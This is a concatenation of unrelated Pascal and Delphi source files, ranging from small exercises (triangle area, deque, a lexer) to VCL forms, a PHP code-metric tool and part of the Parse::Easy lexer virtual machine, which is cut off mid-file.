MemoryStatus.dwLength := SizeOf(TMemoryStatus); GlobalMemoryStatus(MemoryStatus); Result := IntToStr(MemoryStatus.dwTotalPhys div 1048576) + 'MB'; end; function GetUptime(): String; var Total: Integer; begin Total := GetTickCount() div 1000; Result := IntToStr(Total DIV 86400) + 'd ' + IntToStr((Total MOD 86400) DIV 3600) + 'h ' + IntToStr(((Total MOD 86400) MOD 3600) DIV 60) + 'm ' + IntToStr((((Total MOD 86400) MOD 3600) MOD 60) DIV 1) + 's'; end; function ReadRegValue(Root: HKey; Path, Value, Default: String): String; var Key: HKey; RegType: Integer; DataSize: Integer; begin Result := Default; if (RegOpenKeyEx(Root, PChar(Path), 0, KEY_ALL_ACCESS, Key) = ERROR_SUCCESS) then begin if RegQueryValueEx(Key, PChar(Value), nil, @RegType, nil, @DataSize) = ERROR_SUCCESS then begin SetLength(Result, Datasize); RegQueryValueEx(Key, PChar(Value), nil, @RegType, PByte(PChar(Result)), @DataSize); SetLength(Result, Datasize - 1); end; RegCloseKey(Key); end; end; end.
var a,b,c,s,area:real; begin write('Enter 3 sides: '); readln(a,b,c); s:=(a+b+c)/2; area:=sqrt(s*(s-a)*(s-b)*(s-c)); writeln('The area of the triangle is ',area:10:2); end.
program Deque; type LongItem2Ptr = ^LongItem2; longItem2 = record data: longint; prev, next: LongItem2Ptr; end; LongDeque = record first, last: LongItem2Ptr; end; procedure LongDequeInit(var deque: LongDeque); begin deque.first := nil; deque.last := nil; end; procedure LongDequePushFront(var deque: LongDeque;var n: longint); var tmp:LongItem2Ptr; begin if deque.first = nil then begin new(deque.first); deque.first^.next := nil; deque.last := deque.first; end else begin new(deque.first^.prev); tmp := deque.first; deque.first := tmp^.prev; deque.first^.next := tmp; end; deque.first^.prev := nil; deque.first^.data := n; end; procedure LongDequePushBack(var deque: LongDeque;var n: longint); var tmp: LongItem2Ptr; begin if deque.last = nil then begin new(deque.last); deque.last^.prev := nil; deque.first := deque.last; end else begin new(deque.last^.next); tmp := deque.last; deque.last := tmp^.next; deque.last^.prev := tmp; end; deque.last^.data := n; deque.last^.next := nil; end; function LongDequePopFront(var deque: LongDeque; var n: longint) : boolean; var tmp: LongItem2Ptr; begin if deque.first = nil then begin LongDequePopFront := false; exit; end; n := deque.first^.data; tmp := deque.first^.next; dispose(deque.first); deque.first := tmp; LongDequePopFront := true; end; function LongDequePopBack(var deque: LongDeque; var n: longint) : boolean; var tmp: LongItem2Ptr; begin if deque.first = nil then begin LongDequePopBack := false; exit; end; n := deque.last^.data; tmp := deque.last^.prev; dispose(deque.last); deque.last := tmp; LongDequePopBack := true; end; function LongDequeIsEmpty(var deque: LongDeque) : boolean; begin LongDequeIsEmpty := deque.first = nil; end; var d: LongDeque; n: longint; begin LongDequeInit(d); while not SeekEof do begin readln(n); LongDequePushFront(d, n); end; while LongDequePopfront(d, n) do begin writeln(n); end; end.
unit utils; interface const VERSION = '0.2.99'; BUFLEN = 16384; type TUtils = class private { Private declarations } protected { Protected declarations } public { Public declarations } function HexToStr(w : longint) : string; function CreateAboutMsg(componentName : string) : string; published { Published declarations } end; implementation function TUtils.HexToStr(w : longint) : string; const ByteToChar : array[0..$F] of char ='0123456789ABCDEF'; var s : string; i : integer; x : longint; begin s := ''; x := w; for i := 0 to 3 do begin s := ByteToChar[Byte(x) shr 4] + ByteToChar[Byte(x) and $F] + s; x := x shr 8; end; HexToStr := s; end; function TUtils.CreateAboutMsg(componentName : string) : string; const CR = chr(13); var Msg : string; begin Msg := componentName+' component '+version+CR+CR; Msg:=Msg+'Copyright © 2000 Vincent Nikkelen.'+CR+CR; Msg:=Msg+'Do not thank me for this component, please'+CR; Msg:=Msg+'thank Jean-loup Gailly and Mark Adler for'+CR; Msg:=Msg+'the zlib-library and Jacques Nomssi Nzali'+CR; Msg:=Msg+'for the Pascal translation.'+CR+CR; Msg:=Msg+'Pleas read the README.TXT that comes with'+CR; Msg:=Msg+'this component.'+CR+CR; Msg:=Msg+'http://www.cdrom.com/pub/infozip/zlib/'+CR; Msg:=Msg+'http://www.tu-chemnitz.de/~nomssi/paszlib.html'+CR; Msg:=Msg+'http://www.stack.nl/~vincentn/delphizlib/'; CreateAboutMsg := Msg end; end.
unit MyMetrickDjilbaRight; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StrUtils, StdCtrls; const numberWords=20; numberUsefullWords=4; type Tarray=array [1..numberWords] of string; TUsefullWords=array [1..numberUsefullWords] of string; TUsefullSet = set of char; pointerTypeRecord=^recordStack; recordStack=record data:string; next:pointerTypeRecord; end; TForm1 = class(TForm) MemoOutputCode: TMemo; LabelCL: TLabel; EditCL: TEdit; ButtonOk: TButton; Labelcll: TLabel; EditOper: TEdit; LabelCLI: TLabel; Editcll: TEdit; LabelOper: TLabel; EditCLI: TEdit; procedure FormCreate(Sender: TObject); procedure ButtonOkClick(Sender: TObject); private { Private declarations } public { Public declarations } end; const UsefullWords:TUsefullWords = ('new','xor','or','and'); var CodeFile:Text; codeString:string; words:Tarray; countIf,countOperators,maxNesting,countNestingIndex,countNesting:word; setUsefullSym:TUsefullSet; stack:pointerTypeRecord; relativeDifficulty:real; Form1: TForm1; implementation {$R *.dfm} procedure DivisionIntoWords(var codeString:string; var words:Tarray); type SetSeparSym=set of char; var i,j:word; SeparSym:SetSeparSym; begin SeparSym:=[' ',',','.',';','(',')']; for i:=1 to numberWords do words[i]:=''; j:=1; for i:=1 to length(codeString) do begin if (not (codeString[i] in SeparSym)) and (codeString[i+1] in SeparSym) then begin words[j]:=words[j]+codeString[i]; inc(j); end else if not(codeString[i] in SeparSym) then words[j]:=words[j]+codeString[i]; end; end; procedure DeleteComments(var codeString:string); const numberComment=4; numberComments=2; type Tarray2=array[1..numberComment] of string[2]; const symbol:Tarray2 = ('#','//','/*','*/'); var i,position,distance:word; subString:string; begin for i:=1 to numberComments do begin position:=Pos(symbol[i],codeString); if position <> 0 then begin dec(position); distance:=length(codeString)-position; inc(position); delete(codeString,position,distance); end; end; position:=Pos(symbol[i],codeString); if position<>0 then begin while (Pos(symbol[numberComment],codeString)=0) do begin dec(position); distance:=length(codeString)-position; inc(position); delete(codeString,position,distance); if length(codeString)<>0 then begin subString:=codeString; position:=1; end; readln(CodeFile,codeString); Form1.MemoOutputCode.Lines.Add(codeString); end; if Pos(symbol[numberComment],codeString)<>0 then begin distance:=Pos(symbol[numberComment],codeString); inc(distance); position:=1;; delete(codeString,position,distance); codeString:=subString+' '+codeString; end; end; end; procedure DeleteOutput(var codeString:string); const num=2; type Tarray2=array[1..num] of string[2]; TarrayPos=array[1..num] of integer; const symbol:Tarray2 = ('''','"'); var i,position,j:word; arrayPos:TarrayPos; begin if length(codeString)<>0 then begin position:=0; j:=0; for i:=1 to num do begin repeat position:=PosEx(symbol[i],codeString,position); if position<>0 then begin inc(j); arrayPos[j]:=position; inc(position); end; until position=0; if j=num then begin inc(arrayPos[num]); delete(codeString,arrayPos[1],arrayPos[num]-arrayPos[1]); end; end; end; end; procedure CountingIf(const words:Tarray; var countIf:word); var i:word; const strIf='if'; strCase='switch'; ternar='?'; strElseIf='elseif'; begin for i:=1 to numberWords do if (words[i]=strIf) or (words[i]=strCase) or (words[i]=ternar) or (words[i]=strElseIf) then begin inc(countIf); end; end; procedure CountingOperators(const words:Tarray; const codeString:string; var countOperators:word); var i,position,j,countNestingIndex:word; begin position:=0; setUsefullSym:=['+','-','/','*','%','=','>','<','!','~','&','^','|','[','?','.','@','`']; position:=0; j:=0; for i:=1 to length(codeString) do begin if codeString[i] in SetUsefullSym then begin inc(j); if i<>j then inc(countOperators); j:=i; end; end; for i:=1 to numberUsefullWords do begin for j:=1 to numberWords do if UsefullWords[i]=words[j] then inc(countOperators); end; end; procedure Push(var stack:pointerTypeRecord; conditString:string; var countNesting,countNestingIndex:word); var pointerNew:pointerTypeRecord; begin if (conditString='if') or (conditString='switch') or (conditString='elseif') then begin inc(countNesting); if countNesting>=countNestingIndex then countNestingIndex:=countNesting; end; new(pointerNew); pointerNew^.data:=conditString; pointerNew^.next:=stack; stack:=pointerNew; end; procedure Pop(var stack:pointerTypeRecord; var countNestingIndex,maxNesting,countNesting:word); begin if stack<>nil then begin if (stack^.data='if') or (stack^.data='switch') or (stack^.data='elseif') then begin dec(countNesting); end; stack:=stack^.next; if countNesting=0 then begin if countNestingIndex>=maxNesting then maxNesting:=countNestingIndex; countNestingIndex:=0; end; end; end; procedure CountingNesting(const codeString:string; var countNestingIndex,maxNesting,countNesting:word); const num=8; type Tarray2=array[1..num] of string; const arr:Tarray2 = ('function','for','if','while','foreach','do','elseif','?'); var i,j,position:word; begin for i:=1 to num do for j:=1 to numberWords do begin if arr[i]=words[j] then if i=num then inc(countNestingIndex) else Push(stack,arr[i],countNesting,countNestingIndex); end; for i:=1 to length(codeString) do begin if codeString[i]='}' then Pop(stack,countNestingIndex,maxNesting,countNesting); end; end; procedure TForm1.FormCreate(Sender: TObject); begin MemoOutputCode.Clear; EditCL.Clear; EditOper.Clear; Editcll.Clear; EditCLI.Clear; end; procedure TForm1.ButtonOkClick(Sender: TObject); begin AssignFile(CodeFile,'phpInput.php'); Reset(CodeFile); countIf:=0; countOperators:=0; maxNesting:=0; countNesting:=0; countNestingIndex:=0; while (not(EoF(CodeFile))) do begin readln(CodeFile,codeString); MemoOutputCode.Lines.Add(codeString); codeString:=trim(codeString); if (codeString<>'?>') and (codeString<>'?>php') then begin DeleteComments(codeString); DeleteOutput(codeString); if length(codeString) <> 0 then begin DivisionIntoWords(codeString,words); CountingIf(words,countIf); CountingOperators(words,codeString,countOperators); CountingNesting(codeString,countNestingIndex,maxNesting,countNesting); end; end; end; EditCL.Text:=IntToStr(countIf); EditOper.Text:=IntToStr(countOperators); relativeDifficulty:=countIf/countOperators; Editcll.Text:=FloatToStrF(relativeDifficulty,ffFixed,5,5); EditCLI.Text:=IntToStr(maxNesting); CloseFile(CodeFile); end; end.
unit AppData; interface uses SysUtils, Classes, IOUtils, IniFiles; type TAppData = class private FFileName: String; FScore: Integer; FHighscore: Integer; public constructor Create; procedure SaveScore(AScore: Integer); procedure IncScore; procedure ResetScore; function GetScore: Integer; function GetHighscore: Integer; end; implementation { TAppData } constructor TAppData.Create; var IniFile: TMemIniFile; begin FScore:= 0; FHighscore:= 0; FFileName:= TPath.GetDocumentsPath + System.SysUtils.PathDelim + 'Scores.dat'; try IniFile:= TMemIniFile.Create(FFileName); FHighscore:= IniFile.ReadInteger('Settings','Highscore',0); IniFile.Free; except on E: Exception do; end; end; procedure TAppData.SaveScore(AScore: Integer); var IniFile: TMemIniFile; begin FScore:= AScore; if FScore > FHighscore then begin FHighscore:= FScore; try IniFile:= TMemIniFile.Create(FFileName); IniFile.WriteInteger('Settings','Best',FHighscore); IniFile.Free; except on E: Exception do; end; end; end; procedure TAppData.IncScore; var IniFile: TMemIniFile; begin Inc(FScore); if FScore > FHighscore then begin FHighscore:= FScore; try IniFile:= TMemIniFile.Create(FFileName); IniFile.WriteInteger('Settings','Best',FHighscore); IniFile.Free; except on E: Exception do; end; end; end; procedure TAppData.ResetScore; begin FScore:= 0; end; function TAppData.GetScore: Integer; begin Result:= FScore; end; function TAppData.GetHighscore: Integer; begin Result:= FHighscore; end; end.
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Math, Graphics, Controls, Forms, Dialogs, StdCtrls, GLCadencer, GLScene, GLObjects, GLGeomObjects, GLCoordinates, GLWin32Viewer, GLCrossPlatform, GLBaseClasses; type TForm1 = class(TForm) GLScene1: TGLScene; GLSceneViewer1: TGLSceneViewer; GLCube1: TGLCube; GLCone1: TGLCone; GLSphere1: TGLSphere; GLCamera1: TGLCamera; GLLightSource1: TGLLightSource; GLPlane1: TGLPlane; Target: TGLDummyCube; GLCadencer1: TGLCadencer; oldTarget: TGLDummyCube; procedure GLSceneViewer1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure GLCadencer1Progress(Sender: TObject; const deltaTime, newTime: Double); procedure FormCreate(Sender: TObject); private FValue: Single; FNewTarget: TGLBaseSceneObject; StartTime: Single; AnimationTime: Single; public function GetCurveValue(Position: Single): Single; end; var Form1: TForm1; implementation {$R *.dfm} function TForm1.GetCurveValue(Position: Single): Single; begin Result := (1 + sin(DegToRad(270 + (Position * 180))))/2; end; procedure TForm1.GLSceneViewer1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin OldTarget.Position.AsAffineVector := Target.Position.AsAffineVector; FNewTarget := GLSceneViewer1.Buffer.GetPickedObject(X,Y); StartTime := GLCadencer1.CurrentTime; end; procedure TForm1.GLCadencer1Progress(Sender: TObject; const deltaTime, newTime: Double); var lCurveFactor: Single; begin if newTime < StartTime + AnimationTime then begin lCurveFactor := GetCurveValue((newTime - StartTime)/AnimationTime); if assigned(FNewTarget) then begin Target.Position.X := OldTarget.Position.X + lCurveFactor * (FNewTarget.Position.X - OldTarget.Position.X); Target.Position.Y := OldTarget.Position.Y + lCurveFactor * (FNewTarget.Position.Y - OldTarget.Position.Y); Target.Position.Z := OldTarget.Position.Z + lCurveFactor * (FNewTarget.Position.Z - OldTarget.Position.Z); end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin AnimationTime := 3; //defines animation duration regardless of range FNewTarget := GLCube1; end; end.
unit UnitFormFuncionario; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, UnitFormPadrao, Vcl.ExtCtrls, Vcl.ComCtrls, Vcl.StdCtrls, Vcl.ToolWin, UnitFormDatabaseController, UnitFormGrid, System.Contnrs; type TFormFuncionario = class(TFormPadrao) edCod: TEdit; edNome: TEdit; edCodDepto: TEdit; dtDataAdmissao: TDateTimePicker; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; procedure btInserirClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure btBuscarClick(Sender: TObject); procedure btExcluirClick(Sender: TObject); procedure btAnteriorClick(Sender: TObject); procedure btProximoClick(Sender: TObject); procedure FormActivate(Sender: TObject); procedure selectObj(Index: integer); procedure btLimparClick(Sender: TObject); private { Private declarations } wpDado: integer; public { Public declarations } property Dado: integer read wpDado write wpDado; end; TFuncionario = class private wpCod: integer; wpNome: string; wpCodDepto: integer; wpDataAdmissao: string; public property wCod: integer read wpCod write wpCod; property wNome: string read wpNome write wpNome; property wCodDepto: integer read wpCodDepto write wpCodDepto; property wDataAdmissao: string read wpDataAdmissao write wpDataAdmissao; end; var FormFuncionario: TFormFuncionario; DatabaseController: TDatabaseController; FDado: TDado; implementation {$R *.dfm} procedure TFormFuncionario.selectObj(Index: Integer); var wObj: TObject; wObjlist: TObjectList; begin wObjlist := DatabaseController.getAllByTableName(TFuncionario); wObj := wObjList.Items[Index]; with wObj as TFuncionario do edCod.Text := inttostr(12); end; procedure TFormFuncionario.btAnteriorClick(Sender: TObject); var wObj: TObject; wObjList: TObjectList; wIndex: integer; wCont: integer; begin inherited; if (trystrtoint(edCod.Text, wIndex)) and (strtoint(edCod.Text) <> 0) then begin wObjList := DatabaseController.getAllByTableName(TFuncionario); for wCont := 0 to wObjList.Count-1 do begin wObj := wObjList.Items[wCont]; with wObj as TFuncionario do if wCod = strtoint(edCod.Text) then if wObjList.IndexOf(wObj) > 0 then wIndex := wObjList.IndexOf(wObj); end; if wIndex-1 >= 0 then wObj := wObjList.Items[wIndex-1]; with wObj as TFuncionario do begin edCod.Text := inttostr(wCod); edNome.Text := wNome; edCodDepto.Text := inttostr(wCodDepto); dtDataAdmissao.Date := strtodate(wDataAdmissao); end; end; end; procedure TFormFuncionario.btBuscarClick(Sender: TObject); var FormGrid: TFormGrid; begin inherited; FormGrid := TFormGrid.Create(FormFuncionario); FormGrid.geraGrid(TFuncionario); FormGrid.Show; end; procedure TFormFuncionario.btExcluirClick(Sender: TObject); var wIndex: integer; begin inherited; if trystrtoint(edCod.Text, wIndex) then try DatabaseController.deleteByCod(strtoint(edCod.Text), TFuncionario); finally edCod.Clear; ednome.Clear; edCodDepto.Clear; end; end; procedure TFormFuncionario.btInserirClick(Sender: TObject); var wFuncionario: TFuncionario; wIndex: integer; wObjList: TObjectList; wCont: Integer; wObj: TObject; wUpdate: boolean; begin inherited; wUpdate := false; wFuncionario := TFuncionario.Create; if trystrtoint(edCod.Text, wIndex) and trystrtoint (edCodDepto.Text, wIndex) then begin with wFuncionario do begin wCod := strtoint(edCod.Text); wNome := edNome.Text; wCodDepto := strtoint(edCodDepto.Text); wDataAdmissao := datetostr(dtDataAdmissao.Date); end; wObjList := DatabaseController.getAllByTableName(TFuncionario); for wCont := 0 to wObjList.Count-1 do begin wObj := wObjList.Items[wCont]; with wObj as TFuncionario do if wCod = wFuncionario.wCod then begin wUpdate := true; DatabaseController.Update(wFuncionario, TFuncionario); end; end; if wUpdate = false then DatabaseController.Inserir(wFuncionario, TFuncionario); end; end; procedure TFormFuncionario.btLimparClick(Sender: TObject); begin inherited; edCod.Clear; edNome.Clear; edCodDepto.Clear; end; procedure TFormFuncionario.btProximoClick(Sender: TObject); var wObj: TObject; wObjList: TObjectList; wCont: Integer; wIndex: integer; begin inherited; if (trystrtoint(edCod.Text,wIndex)) then begin wObjList := DatabaseController.getAllByTableName(TFuncionario); for wCont := 0 to wObjList.Count-1 do begin wObj := wObjList.Items[wCont]; with wObj as TFuncionario do if wCod = strtoint(edCod.Text) then begin wIndex := wObjList.IndexOf(wObj); end; end; if wIndex+1 < wObjList.Count then wObj := wObjList.Items[wIndex+1]; with wObj as TFuncionario do begin edCod.Text := inttostr(wCod); edNome.Text := wNome; edCodDepto.Text := inttostr(wCodDepto); dtDataAdmissao.Date := strtodate(wDataAdmissao); end; end; end; procedure TFormFuncionario.FormActivate(Sender: TObject); var wObj: TObject; wObjList: TObjectList; begin inherited; if FDado.getDado > -1 then begin Dado := FDado.getDado; edCod.Text := 'teste'; wObjlist := DatabaseController.getAllByTableName(TFuncionario); wObj := wObjList.Items[Dado]; with wObj as TFuncionario do begin edCod.Text := inttostr(wCod); edNome.Text := wNome; edCodDepto.Text := inttostr(wCodDepto); dtDataAdmissao.Date := strtodate(wDataAdmissao); end; FDado.setDado(-1); Dado := FDado.getDado; end; end; procedure TFormFuncionario.FormCreate(Sender: TObject); begin inherited; DatabaseController := TDatabaseController.Create; FDado := TDado.Create; end; initialization registerclass(TFormFuncionario); end.
unit RegistroControler; interface uses Registry, Windows, SysUtils, Vcl.Controls, Dialogs, SyncObjs, TLHelp32, StrUtils; Type TRegistro = Class(TObject) private function ObterCodigoProcesso(ExeFileName: string): Integer; procedure SetQtdeProcAsync(Valor: Integer); function GetQtdeProcAsync : Integer; public Lock : TCriticalSection; property QtdeProcAsync: Integer read GetQtdeProcAsync write SetQtdeProcAsync; End; implementation { TRegistro } function TRegistro.GetQtdeProcAsync: Integer; var arq: TextFile; TxtRetorno: String; TxtCodigoProcesso: String; CaminhoENomeArquivo: String; Begin Lock.Acquire; Result := 0; CaminhoENomeArquivo := ExtractFilePath(ParamStr(0))+'Registro.el'; if not FileExists(CaminhoENomeArquivo) then begin QtdeProcAsync := 0; Exit; end; AssignFile(arq, CaminhoENomeArquivo); Reset(arq); Readln(arq, TxtRetorno); Readln(arq, TxtCodigoProcesso); CloseFile(arq); if StrToInt(IfThen(TxtCodigoProcesso='','0',TxtCodigoProcesso)) <> ObterCodigoProcesso(ExtractFileName(ParamStr(0))) then QtdeProcAsync := 0 else Result := StrToInt(TxtRetorno); Lock.Release; end; procedure TRegistro.SetQtdeProcAsync(Valor: Integer); var arq: TextFile; CaminhoENomeArquivo: String; Begin Lock.Acquire; CaminhoENomeArquivo := ExtractFilePath(ParamStr(0))+'Registro.el'; FileSetAttr(CaminhoENomeArquivo, 0); AssignFile(arq, CaminhoENomeArquivo); Rewrite(arq); Writeln(arq,IntToStr(Valor)); Writeln(arq,ObterCodigoProcesso(ExtractFileName(ParamStr(0)))); CloseFile(arq); FileSetAttr(CaminhoENomeArquivo, FileGetAttr(CaminhoENomeArquivo) or faHidden); Lock.Release; end; function TRegistro.ObterCodigoProcesso(ExeFileName: string): Integer; var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin Result := 0; FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := SizeOf(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); while Integer(ContinueLoop) <> 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then Result := FProcessEntry32.th32ProcessID; ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle); end; end.
(* Lex 03.05.17 *) (* Lexikalischer Analysator (scanner)UE6 *) UNIT Lex; INTERFACE TYPE SymbolCode = (errorSy, (* error symbol *) leftParSy, rightParSy, eofSy, periodSy, equalsSy, leftCompSy, rightCompSy, optSy, leftCurlySy, rightCurlySy, identSy); VAR sy: SymbolCode; syLnr, syCnr : INTEGER; identStr : STRING; PROCEDURE InitScanner(srcName: STRING; VAR ok: BOOLEAN); PROCEDURE NewCh; PROCEDURE NewSy; IMPLEMENTATION CONST EF = Chr(0); VAR srcLine: STRING; ch: CHAR; chLnr, chCnr : INTEGER; srcFile: TEXT; PROCEDURE InitScanner(srcName: STRING; VAR ok: BOOLEAN); BEGIN Assign(srcFile, srcName); {$I-} Reset(srcFile); {$I+} ok := IOResult = 0; IF ok THEN BEGIN srcLine := ''; chLnr := 0; chCnr := 1; NewCh; NewSy; END; END; PROCEDURE NewCh; BEGIN IF chCnr < Length(srcLine) THEN BEGIN chCnr := chCnr + 1; ch := srcLine[chCnr]; END ELSE BEGIN (* new line *) IF NOT Eof(srcFile) THEN BEGIN ReadLn(srcFile, srcLine); Inc(chLnr); chCnr := 0; (* da leerzeichen überlesen werden wird in newsy gleich der nächste char eingelesen *) ch := ' '; END ELSE BEGIN Close(srcFile); ch := EF; END; END; END; PROCEDURE NewSy; VAR code: INTEGER; BEGIN WHILE ch = ' ' DO BEGIN NewCh; END; syLnr := chLnr; syCnr := chCnr; CASE ch OF EF: BEGIN sy := eofSy; END; '(': BEGIN sy := leftParSy; NewCh; END; ')': BEGIN sy := rightParSy; NewCh; END; '.': BEGIN sy := periodSy; NewCh; END; '<': BEGIN sy := leftCompSy; NewCh; END; '>': BEGIN sy := rightCompSy; NewCh; END; '|': BEGIN sy := optSy; NewCh; END; '{': BEGIN sy := leftCurlySy; NewCh; END; '}': BEGIN sy := rightCurlySy; NewCh; END; '=': BEGIN sy := equalsSy; NewCh; END; 'a' .. 'z', 'A' .. 'Z': BEGIN identStr := ''; WHILE ch IN ['a' .. 'z', 'A' .. 'Z', '_'] DO BEGIN identStr := Concat(identStr, ch); NewCh; END; sy := identSy; END; ELSE sy := errorSy; END; END; END. (* Lex *)
// ----------- Parse::Easy::Runtime ----------- // https://github.com/MahdiSafsafi/Parse-Easy // -------------------------------------------- unit Parse.Easy.Lexer.VirtualMachine; interface uses System.SysUtils, System.Classes, System.Types, Parse.Easy.Lexer.Token, Parse.Easy.Lexer.CodePointStream; const MAX_STACK_SIZE = 16000; MAX_STACK_ITEM_COUNT = MAX_STACK_SIZE div SizeOf(Integer); MAX_SECTION_COUNT = 1000; MAX_VM_REGISTER_COUNT = 7; MAX_MARK_COUNT = 256; const TK_ILLEGAL = -2; type TFlag = (F_E, F_G, F_L); TFlags = set of TFlag; TTokenFlag = (tfSkip, tfReject); TTokenFlags = set of TTokenFlag; VMException = Exception; TVirtualMachine = class(TObject) strict private class var CResourceStream: TResourceStream; CMemory: Pointer; CByteCode: Pointer; CFirstRule: Pointer; private FAtStart: Boolean; FMemory: Pointer; FBytecode: Pointer; FFirstRule: Pointer; FCodePointStream: TCodePointStream; FTerminate: Boolean; FStartPos: Integer; FMarkedPosition: Integer; FOpCode: Integer; FIP: PByte; // instruction pointer. FImmediate: Integer; FUImmediate: Cardinal; FRelative: Integer; FOffset: Integer; FFlags: TFlags; // instruction control flow flags. FIA: PByte; // instruction address. FRR: Integer; // register MR.RR. FTokenFlags: TTokenFlags; { stacks } FStack: array [0 .. MAX_STACK_ITEM_COUNT - 1] of Integer; // vm stack. FSections: array [0 .. MAX_SECTION_COUNT - 1] of Integer; // section stack. FRegisters: array [0 .. MAX_VM_REGISTER_COUNT - 1] of Integer; FMarked: array [0 .. MAX_MARK_COUNT - 1] of Integer; FState: Integer; { stack indexes } FMI: Integer; FSI: Integer; // vm stack index. FSSI: Integer; // section stack index. FTokens: TList; function FindRuleInfoFromIndex(Index: Integer): Pointer; procedure RecoverTokenText(Token: TToken); protected class procedure Deserialize(const Name: string); procedure UserAction(Index: Integer); virtual; abstract; procedure InitVM(); procedure Decode(); procedure Execute(); procedure Run(); { internal } procedure _PUSH(Value: Integer); function _POP(): Integer; { VM instructions } procedure EXEC_UNDEFINED(); procedure EXEC_UNIMPLEMENTED(); procedure EXEC_BEQ(); procedure EXEC_BNEQ(); procedure EXEC_CALL(); procedure EXEC_B(); procedure EXEC_BGT(); procedure EXEC_BGE(); procedure EXEC_BLT(); procedure EXEC_BLE(); procedure EXEC_RET(); procedure EXEC_VMEND(); procedure EXEC_SETSTATE(); procedure EXEC_FORGET(); procedure EXEC_PEEK(); procedure EXEC_MARK(); procedure EXEC_ADVANCE(); procedure EXEC_INRANGE(); procedure EXEC_ISATX(); public class constructor Create(); class destructor Destroy(); constructor Create(AStream: TStringStream); virtual; destructor Destroy(); override; function Parse(): TToken; procedure PushSection(Section: Integer); function PopSection(): Integer; function CurrentSection(): Integer; procedure Skip(); procedure UnSkip(); procedure Reject(); procedure UnReject(); end; implementation { TVirtualMachine } {$I insns.inc} const ILLEGAL_ACTION_INDEX = -1; type THeader = packed record MajorVersion: Integer; MinorVersion: Integer; SizeOfMemory: Cardinal; SizeOfByteCode: Cardinal; NumberOfRules: Integer; FirstRuleOffset: Integer; end; PHeader = ^THeader; TRuleInfo = packed record TokenType: Integer; ActionIndex: Integer; end; PRuleInfo = ^TRuleInfo; class constructor TVirtualMachine.Create; begin CResourceStream := nil; end; class destructor TVirtualMachine.Destroy; begin if Assigned(CResourceStream) then CResourceStream.Free(); end; constructor TVirtualMachine.Create(AStream: TStringStream); begin FCodePointStream := TCodePointStream.Create(AStream); FTokens := TList.Create; FBytecode := CByteCode; FMemory := CMemory; FFirstRule := CFirstRule; FSSI := 0; PushSection(0); end; destructor TVirtualMachine.Destroy; var I: Integer; begin for I := 0 to FTokens.Count - 1 do if Assigned(FTokens[I]) then TToken(FTokens[I]).Free(); FTokens.Free(); FCodePointStream.Free(); inherited; end; procedure TVirtualMachine.Decode; var PDscrp: PInstructionDscrp; I: Integer; Pattern: Integer; MR: Cardinal; Size: Cardinal; Power: Integer; begin FIA := FIP; FOpCode := PByte(FIP)^; PDscrp := @instructions[FOpCode]; Inc(FIP); // eat opcode. for I := 0 to MAX_PATTERN_COUNT - 1 do begin Pattern := PDscrp^.Patterns[I]; case Pattern of PAT_NONE: break; PAT_OB: begin FRelative := PShortInt(FIP)^; Inc(FIP, SizeOf(ShortInt)); end; PAT_OW: begin FRelative := PSmallInt(FIP)^; Inc(FIP, SizeOf(SmallInt)); end; PAT_OD: begin FRelative := PLongInt(FIP)^; Inc(FIP, SizeOf(LongInt)); end; PAT_U8: begin FUImmediate := PByte(FIP)^; Inc(FIP, SizeOf(Byte)); end; PAT_U16: begin FUImmediate := PWord(FIP)^; Inc(FIP, SizeOf(Word)); end; PAT_U32: begin FUImmediate := PCardinal(FIP)^; Inc(FIP, SizeOf(Cardinal)); end; PAT_I8: begin FImmediate := PShortInt(FIP)^; Inc(FIP, SizeOf(ShortInt)); end; PAT_I16: begin FImmediate := PSmallInt(FIP)^; Inc(FIP, SizeOf(SmallInt)); end; PAT_I32: begin FImmediate := PLongInt(FIP)^; Inc(FIP, SizeOf(LongInt)); end; { PAT_MR: begin MR := PByte(FIP)^; Inc(FIP); RR := (MR and $E0) shr 5; end; } PAT_MF: begin MR := PByte(FIP)^; Inc(FIP); FRR := (MR and $E0) shr 5; FOffset := 0; if (MR and $1F <> 0) then begin Size := MR and 3; Power := (MR and $1C) shr 2; case Power of 7: Power := 64; 6: Power := 32; 5: Power := 16; 4: Power := 8; 3: Power := 4; 2: Power := 2; 1: Power := 1; 0: begin // die. end; end; case Size of 0: begin FOffset := PByte(FIP)^; Inc(FIP); end; 1: begin FOffset := PWord(FIP)^; Inc(FIP, SizeOf(Word)); end; 2: begin FOffset := PCardinal(FIP)^; Inc(FIP, SizeOf(Cardinal)); end; 3: begin // die. end; end; FOffset := FOffset * Power; end; end; end; end; end; procedure TVirtualMachine.Execute; var PDscrp: PInstructionDscrp; begin PDscrp := @instructions[FOpCode]; case PDscrp^.IID of INSN_BEQ: EXEC_BEQ(); INSN_BNEQ: EXEC_BNEQ(); INSN_BGT: EXEC_BGT(); INSN_BGE: EXEC_BGE(); INSN_BLT: EXEC_BLT(); INSN_BLE: EXEC_BLE(); INSN_B: EXEC_B(); INSN_CALL: EXEC_CALL(); INSN_RET: EXEC_RET(); INSN_VMEND: EXEC_VMEND(); INSN_PEEK: EXEC_PEEK(); INSN_ADVANCE: EXEC_ADVANCE(); INSN_FORGET: EXEC_FORGET(); INSN_MARK: EXEC_MARK(); INSN_SETSTATE: EXEC_SETSTATE(); INSN_INRANGE: EXEC_INRANGE(); INSN_ISATX: EXEC_ISATX(); INSN_INVALID: EXEC_UNDEFINED(); INSN_NOP, INSN_HINT, 